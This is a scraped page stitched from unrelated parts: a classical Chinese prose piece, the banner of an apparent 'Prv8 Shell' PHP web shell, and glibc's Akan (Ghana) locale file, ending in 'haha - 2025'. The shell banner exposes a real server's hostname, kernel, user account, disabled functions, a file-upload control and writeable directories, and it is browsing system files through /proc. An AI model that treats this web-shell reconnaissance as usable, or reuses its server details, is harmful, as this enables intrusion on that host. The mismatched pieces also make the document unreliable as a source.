晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/i18n/locales/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/i18n/locales/ak_GH
comment_char %
escape_char /

% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file.  The foregoing does not
% affect the license of the GNU C Library as a whole.  It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%
% Akan locale for Ghana
%
% Prepared and contributed to glibc by Chris Leonard <cjl@sugarlabs.org>
% and Jojoo Imbeah <jojoo.imbeah@kasahorow.com>
%
% This locale data has been developed by:
% Sugar Labs,  http://www.sugarlabs.org/
% kasahorow, http://www.kasahorow.org/
%
% build with: localedef -f UTF-8 -i ak_GH ak_GH
%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

LC_IDENTIFICATION
title        "Akan locale for Ghana"
source       "Sugar Labs // OLPC"
address      ""
contact      "sugarlabs.org"
email        "libc-alpha@sourceware.org"
tel          ""
fax          ""
language     "Akan"
territory    "Ghana"
revision     "1.0"
date         "2013-08-24"

category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_TIME
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_MEASUREMENT
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_NAME
category "i18n:2012";LC_ADDRESS
category "i18n:2012";LC_TELEPHONE
END LC_IDENTIFICATION

LC_CTYPE
copy "i18n"
translit_start
include "translit_combining";""
translit_end
END LC_CTYPE

LC_COLLATE
copy "iso14651_t1"
END LC_COLLATE

LC_TIME
% Sanda-Ɔpɛpɔn, Kwakwar-Ɔgyefuo, Ebɔw-Ɔbenem, Ebɔbira-Oforisuo, Esusow Aketseaba-Kɔtɔnimba, Obirade-Ayɛwohomumu, Ayɛwoho-Kitawonsa, Difuu-Ɔsandaa, Fankwa-Ɛbɔ, Ɔbɛsɛ-Ahinime, Ɔberɛfɛw-Obubuo, Mumu-Ɔpɛnimba
mon  "Sanda-<U0186>p<U025B>p<U0254>n";/
     "Kwakwar-<U0186>gyefuo";/
     "Eb<U0254>w-<U0186>benem";/
     "Eb<U0254>bira-Oforisuo";/
     "Esusow Aketseaba-K<U0254>t<U0254>nimba";/
     "Obirade-Ay<U025B>wohomumu";/
     "Ay<U025B>woho-Kitawonsa";/
     "Difuu-<U0186>sandaa";/
     "Fankwa-<U0190>b<U0254>";/
     "<U0186>b<U025B>s<U025B>-Ahinime";/
     "<U0186>ber<U025B>f<U025B>w-Obubuo";/
     "Mumu-<U0186>p<U025B>nimba"
% S-Ɔ, K-Ɔ, E-Ɔ, E-O, E-K, O-A, A-K, D-Ɔ, F-Ɛ, Ɔ-A, Ɔ-O, M-Ɔ
abmon  "S-<U0186>";/
       "K-<U0186>";/
       "E-<U0186>";/
       "E-O";/
       "E-K";/
       "O-A";/
       "A-K";/
       "D-<U0186>";/
       "F-<U0190>";/
       "<U0186>-A";/
       "<U0186>-O";/
       "M-<U0186>"
day  "Kwesida";/
     "Dwowda";/
     "Benada";/
     "Wukuda";/
     "Yawda";/
     "Fida";/
     "Memeneda"
abday  "Kwe";"Dwo";"Ben";"Wuk";"Yaw";"Fia";"Mem"
d_t_fmt       "%a %d %b %Y %T %Z"
d_fmt         "%Y//%m//%d"
t_fmt   "%r"
% AM/PM time representation
t_fmt_ampm "%I:%M:%S %p"
am_pm  "AN";"EW"
week 7;19971130;1
first_weekday 2
END LC_TIME

LC_NUMERIC
decimal_point "."
thousands_sep ","
grouping      3
END LC_NUMERIC

LC_MONETARY
int_curr_symbol           "GHS "
% GH₵
currency_symbol           "GH<U20B5>"
mon_decimal_point         "."
mon_thousands_sep         ","
mon_grouping              3
positive_sign             ""
negative_sign             "-"
int_frac_digits           2
frac_digits               2
p_cs_precedes             0
p_sep_by_space            1
n_cs_precedes             0
n_sep_by_space            1
p_sign_posn               1
n_sign_posn               1
END LC_MONETARY

LC_PAPER
copy "i18n"
END LC_PAPER

LC_MEASUREMENT
copy "i18n"
END LC_MEASUREMENT

LC_MESSAGES
yesexpr "^[+1yY]"
noexpr  "^[-0dDnN]"
yesstr  "Yiw"
nostr   "Daabi"
END LC_MESSAGES

LC_NAME
name_fmt    "%d%t%g%t%m%t%f"
END LC_NAME

LC_ADDRESS
postal_fmt    "%a%N%f%N%d%N%b%N%h %s %e %r%N%T, %S %z%N%c%N"
country_name "Gaana"
country_post "GH"
country_ab2  "GH"
country_ab3  "GHA"
country_num  288
country_car  "GH"
country_isbn 9964
lang_name    "Akan"
lang_ab      "ak"
lang_term    "aka"
END LC_ADDRESS

LC_TELEPHONE
tel_int_fmt "+%c %a %l"
tel_dom_fmt "%a %l"
int_select  "00"
int_prefix  "233"
END LC_TELEPHONE

haha - 2025